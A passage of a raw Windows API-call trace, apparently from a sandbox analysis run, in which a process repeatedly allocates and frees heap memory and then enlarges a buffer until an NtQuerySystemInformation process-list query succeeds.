0x1b85ff70 [0152.729] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0152.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x174b90 [0152.729] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0152.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b85ff70 [0152.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0152.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9ef70 [0152.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ef70) returned 1 [0152.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x174b90 [0152.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0152.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b85ff70 [0152.731] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0152.731] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x174b90 [0152.731] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0152.731] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0152.732] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0152.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1b85ff70 [0152.732] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0152.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x174b90 [0152.733] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0152.733] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1b85ff70 [0152.733] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0152.733] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x174b90 [0152.734] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0152.734] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b85ff70 [0152.734] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0152.735] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b85ff70 [0152.735] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0152.735] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b85ff70 [0152.735] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0152.735] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b85ff70 [0152.736] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0152.736] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b85ff70 [0152.736] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0152.736] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x174b90 [0152.737] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0152.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b85ff70 [0152.737] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0152.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b85ff70 [0152.738] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0152.738] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0152.738] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0152.738] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x174b90 [0152.739] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0152.739] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x174b90 [0152.739] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0157.874] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x20501310 [0157.875] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501310) returned 1 [0157.875] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1b7a8e60 [0157.876] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a8e60) returned 1 [0157.876] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x20501310 [0157.876] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501310) returned 1 [0157.876] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x174b90 [0157.876] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0157.876] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x174b90 [0157.877] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0157.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x174b90 [0157.877] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0157.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x20501310 [0157.878] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501310) returned 1 [0157.878] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0157.878] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0157.878] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x174b90 [0157.879] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0157.879] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x20501310 [0157.879] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501310) returned 1 [0157.879] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x174b90 [0157.880] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0157.880] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0157.880] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0157.880] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x20501310 [0157.881] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501310) returned 1 [0157.881] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x20501310 [0157.881] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501310) returned 1 [0157.881] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x20501310 [0157.881] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501310) returned 1 [0157.881] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x20501310 [0157.882] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501310) returned 1 [0157.882] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x20501310 [0157.882] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501310) returned 1 [0157.882] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x20501310 [0157.883] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501310) returned 1 [0157.883] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0157.883] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0157.883] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0157.883] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0157.883] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x174b90 [0157.884] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0157.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0157.884] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0157.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x20501310 [0157.885] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501310) returned 1 [0157.885] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x174b90 [0157.885] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0157.885] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x426ce4d0) returned 1 [0157.885] Sleep (dwMilliseconds=0x64) [0157.981] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1024) returned 0x4262e500 [0157.982] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4262e500, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x4262e500, ResultLength=0x0) returned 0xc0000004 [0157.982] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x4262e500, Size=0x2048) returned 0x4264e500 [0157.983] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4264e500, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x4264e500, ResultLength=0x0) returned 0xc0000004 [0157.983] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x4264e500, Size=0x306c) returned 0x4268e500 [0157.983] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4268e500, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x4268e500, ResultLength=0x0) returned 0xc0000004 [0157.983] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x4268e500, Size=0x4090) returned 0x1cdb08c0 [0157.983] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cdb08c0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x1cdb08c0, ResultLength=0x0) returned 0xc0000004 [0157.984] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cdb08c0, Size=0x50b4) returned 0x1cdb08c0 [0157.984] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cdb08c0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x1cdb08c0, ResultLength=0x0) returned 0xc0000004 [0157.984] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cdb08c0, Size=0x60d8) returned 0x1cdb08c0 [0157.984] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cdb08c0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x1cdb08c0, ResultLength=0x0) returned 0xc0000004 [0157.985] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cdb08c0, Size=0x70fc) returned 0x1cdb08c0 [0157.985] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cdb08c0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x1cdb08c0, ResultLength=0x0) returned 0xc0000004 [0157.985] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cdb08c0, Size=0x8120) returned 0x1cdb08c0 [0157.985] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cdb08c0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x1cdb08c0, ResultLength=0x0) returned 0xc0000004 [0157.985] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cdb08c0, Size=0x9144) returned 0x423a0080 [0157.986] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x423a0080, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x423a0080, ResultLength=0x0) returned 0xc0000004 [0157.986] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x423a0080, Size=0xa168) returned 0x423a0080 [0157.986] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x423a0080, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x423a0080, ResultLength=0x0) returned 0xc0000004 [0157.986] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x423a0080, Size=0xb18c) returned 0x423a0080 [0157.986] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x423a0080, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x423a0080, ResultLength=0x0) returned 0xc0000004 [0157.987] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x423a0080, Size=0xc1b0) returned 0x423a0080 [0157.987] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x423a0080, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x423a0080, ResultLength=0x0) returned 0xc0000004 [0157.987] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x423a0080, Size=0xd1d4) returned 0x423a0080 [0157.987] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x423a0080, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x423a0080, ResultLength=0x0) returned 0xc0000004 [0157.988] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x423a0080, Size=0xe1f8) returned 0x423a0080 [0157.988] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x423a0080, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x423a0080, ResultLength=0x0) returned 0xc0000004 [0157.988] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x423a0080, Size=0xf21c) returned 0x42b849b0 [0157.993] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42b849b0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x42b849b0, ResultLength=0x0) returned 0xc0000004 [0157.994] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42b849b0, Size=0x10240) returned 0x42b849b0 [0157.994] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42b849b0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x42b849b0, ResultLength=0x0) returned 0xc0000004 [0157.994] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42b849b0, Size=0x11264) returned 0x42b94c00 [0158.000] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42b94c00, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x42b94c00, ResultLength=0x0) returned 0xc0000004 [0158.000] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42b94c00, Size=0x12288) returned 0x42b94c00 [0158.000] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42b94c00, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x42b94c00, ResultLength=0x0) returned 0xc0000004 [0158.001] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42b94c00, Size=0x132ac) returned 0x42ba6ea0 [0158.006] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42ba6ea0, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x42ba6ea0, ResultLength=0x0) returned 0xc0000004 [0158.007] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42ba6ea0, Size=0x142d0) returned 0x42b849b0 [0158.007] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42b849b0, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x42b849b0, ResultLength=0x0) returned 0xc0000004 [0158.007] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42b849b0, Size=0x152f4) returned 0x42b849b0 [0158.007] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42b849b0, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x42b849b0, ResultLength=0x0) returned 0xc0000004 [0158.008] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42b849b0, Size=0x16318) returned 0x42b849b0 [0158.008] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42b849b0, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x42b849b0, ResultLength=0x0) returned 0xc0000004 [0158.008] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42b849b0, Size=0x1733c) returned 0x42b849b0 [0158.008] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42b849b0, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x42b849b0, ResultLength=0x0) returned 0xc0000004 [0158.009] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42b849b0, Size=0x18360) returned 0x42b849b0 [0158.009] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42b849b0, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x42b849b0, ResultLength=0x0) returned 0xc0000004 [0158.009] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42b849b0, Size=0x19384) returned 0x42b849b0 [0158.009] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42b849b0, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x42b849b0, ResultLength=0x0) returned 0xc0000004 [0158.010] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42b849b0, Size=0x1a3a8) returned 0x42b849b0 [0158.010] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42b849b0, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x42b849b0, ResultLength=0x0) returned 0xc0000004 [0158.010] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42b849b0, Size=0x1b3cc) returned 0x42b849b0 [0158.010] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42b849b0, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x42b849b0, ResultLength=0x0) returned 0xc0000004 [0158.011] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42b849b0, Size=0x1c3f0) returned 0x42b849b0 [0158.011] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42b849b0, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x42b849b0, ResultLength=0x0) returned 0xc0000004 [0158.011] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42b849b0, Size=0x1d414) returned 0x42b849b0 [0158.012] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42b849b0, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x42b849b0, ResultLength=0x0) returned 0xc0000004 [0158.012] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42b849b0, Size=0x1e438) returned 0x42b849b0 [0158.012] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42b849b0, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x42b849b0, ResultLength=0x0) returned 0xc0000004 [0158.013] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42b849b0, Size=0x1f45c) returned 0x42b849b0 [0158.013] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42b849b0, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x42b849b0, ResultLength=0x0) returned 0xc0000004 [0158.014] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42b849b0, Size=0x20480) returned 0x42b849b0 [0158.014] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42b849b0, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x42b849b0, ResultLength=0x0) returned 0xc0000004 [0158.014] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42b849b0, Size=0x214a4) returned 0x42b849b0 [0158.014] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42b849b0, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x42b849b0, ResultLength=0x0) returned 0xc0000004 [0158.015] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42b849b0, Size=0x224c8) returned 0x42b849b0 [0158.015] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42b849b0, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x42b849b0, ResultLength=0x0) returned 0xc0000004 [0158.015] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42b849b0, Size=0x234ec) returned 0x42b849b0 [0158.015] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42b849b0, Length=0x234ec, ResultLength=0x0 | out: SystemInformation=0x42b849b0, ResultLength=0x0) returned 0x0 [0158.016] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2) returned 0x1b7d3400 [0158.017] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3400) returned 1 [0158.017] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x174b90 [0158.017] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0158.017] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x174b90 [0158.018] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0158.018] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x174b90 [0158.018] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0158.018] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0158.019] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0158.019] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x174b90 [0158.019] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0158.019] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x20501310 [0158.019] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501310) returned 1 [0158.019] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x20501310 [0158.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501310) returned 1 [0158.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x174b90 [0158.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0158.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x174b90 [0158.021] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0158.021] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0158.021] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0158.021] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0158.022] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0158.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0158.022] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0158.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0158.023] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0158.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0158.023] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0158.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0158.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0158.024] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0158.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0158.024] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0158.025] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0158.025] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x174b90 [0158.025] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0158.025] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x20501310 [0158.025] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501310) returned 1 [0158.025] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0158.026] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0158.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0158.026] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0158.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x20501310 [0158.027] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501310) returned 1 [0158.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0158.027] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0158.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x20501310 [0158.028] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501310) returned 1 [0158.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x20501310 [0158.028] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501310) returned 1 [0158.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x174b90 [0158.029] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0158.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x20501310 [0158.029] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501310) returned 1 [0158.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x20501310 [0158.030] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501310) returned 1 [0158.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x20501310 [0158.030] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501310) returned 1 [0158.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x20501310 [0158.031] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501310) returned 1 [0158.031] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x20501310 [0158.031] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501310) returned 1 [0158.031] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x174b90 [0158.031] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0158.031] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 